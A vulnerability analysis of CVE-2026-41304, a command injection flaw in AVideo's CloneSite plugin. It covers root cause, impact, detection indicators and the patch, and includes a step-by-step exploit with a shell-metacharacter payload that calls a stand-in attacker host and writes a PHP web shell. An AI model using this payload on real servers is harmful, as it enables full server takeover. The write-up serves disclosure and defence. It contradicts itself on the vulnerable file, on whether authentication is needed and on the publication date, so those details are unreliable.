CVE-2026-41304: 
PHP vulnerability analysis and mitigation

CVE-2026-41304 is a command injection vulnerability (OS Command Injection / CWE-77) in the CloneSite plugin of WWBN AVideo, an open-source video platform. The flaw exists in the cloneServer.json.php endpoint, which constructs shell commands using unsanitized user-controlled input, enabling unauthenticated Remote Code Execution (RCE). All versions up to and including 29.0 are affected. The vulnerability was published on April 22, 2026, with a fix committed on April 24, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 8.9 (High) (GitHub Advisory).

The root cause is improper neutralization of special elements in an OS command (CWE-77/CWE-78). In plugin/CloneSite/cloneClient.json.php (line 112), the code attempts to sanitize the user-supplied cloneSiteURL parameter using escapeshellarg(), but immediately strips the single quotes it adds via str_replace("'", '', ...), completely negating the protection. The unsanitized URL is then concatenated directly into a wget shell command executed via PHP's exec() function: $cmd = "wget -O {$sqlFile} {$sqlURL}". An attacker can inject arbitrary shell commands by embedding metacharacters such as ; into the URL parameter, breaking out of the intended wget context. The attack flow requires first setting a malicious cloneSiteURL via the objects/pluginAddDataObject.json.php endpoint (which requires admin privileges), then triggering execution by accessing plugin/CloneSite/cloneClient.json.php (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary OS commands on the server with the privileges of the web server process (e.g., www-data). This enables writing arbitrary PHP web shells to web-accessible directories, achieving full server compromise, reading and modifying the database, accessing all user data, pivoting to other internal services, and potentially escalating privileges on the host system. The confidentiality, integrity, and availability of the affected server are all fully compromised (GitHub Advisory).

A proof-of-concept (PoC) exploit is publicly available in the GitHub Security Advisory, providing a complete attack sequence including a malicious Flask server, specific curl commands with injection payloads, and web shell creation steps (GitHub Advisory). The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. The EPSS score is approximately 0.584%, indicating a relatively low but non-negligible probability of exploitation in the wild. There is currently no evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA KEV catalog. Note that the initial step of setting the malicious URL requires admin-level access to the AVideo instance.

1. Set up a malicious server: Deploy a Flask-based HTTP server that responds to all requests with a crafted JSON payload containing a malicious sqlFile name (e.g., Clone_mysqlDump_evil123.sql) and attacker-controlled fields.
2. Obtain admin session: Acquire an authenticated admin session cookie (PHPSESSID) for the target AVideo instance through credential theft, brute force, or social engineering.
3. Inject malicious cloneSiteURL: Send an authenticated POST request to http://target/objects/pluginAddDataObject.json.php with a JSON body containing a cloneSiteURL value embedding shell metacharacters, e.g., "cloneSiteURL": "http://attacker:8071/;echo${IFS}\"<?php system($_POST[1]);?>\"${IFS}>1.php;".
4. Trigger RCE: Send an unauthenticated GET request to http://target/plugin/CloneSite/cloneClient.json.php. The server fetches the malicious JSON from the attacker's Flask server, constructs the vulnerable wget command with the injected payload, and executes it via exec(), writing a PHP web shell to the plugin/CloneSite/ directory.
5. Access the web shell: Send a POST request to http://target/plugin/CloneSite/1.php with the parameter 1=id (or any OS command) to confirm execution as www-data and achieve full server control (GitHub Advisory).

• Network: Outbound HTTP connections from the AVideo server to unexpected external IPs on non-standard ports (e.g., 8071); unusual wget processes spawned by the PHP/web server process.
• File System: Unexpected PHP files (e.g., 1.php, web shells) appearing in plugin/CloneSite/ or other web-accessible directories; new SQL dump files with suspicious names (e.g., Clone_mysqlDump_evil123.sql) in the clones directory.
• Logs: Web server access logs showing POST requests to /objects/pluginAddDataObject.json.php with cloneSiteURL values containing shell metacharacters (;, ${IFS}, >); GET requests to /plugin/CloneSite/cloneClient.json.php followed shortly by requests to newly created .php files.
• Process: Unusual child processes spawned by the web server (e.g., sh, bash, echo, wget) with command-line arguments containing shell injection patterns; processes writing files to web-accessible directories (GitHub Advisory).

The fix is available in commit 473c609fc2defdea8b937b00e86ce88eba1f15bb, which replaces the broken sanitization with proper use of escapeshellarg() for both the output file path and the URL: $cmd = "wget -O " . escapeshellarg($sqlFile) . " " . escapeshellarg($sqlURL). Users should update WWBN AVideo to a version newer than 29.0 that includes this fix. As a temporary workaround, administrators should disable or restrict network access to the CloneSite plugin's cloneClient.json.php and cloneServer.json.php endpoints until patching is possible (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researcher Rangar0k and published by DanielnetoDotCom (the AVideo maintainer) via GitHub Security Advisories on April 15, 2026. The advisory received attention from automated CVE tracking services and was noted on Bluesky via CVE notification accounts. No significant broader media coverage or notable researcher commentary beyond the original advisory has been identified.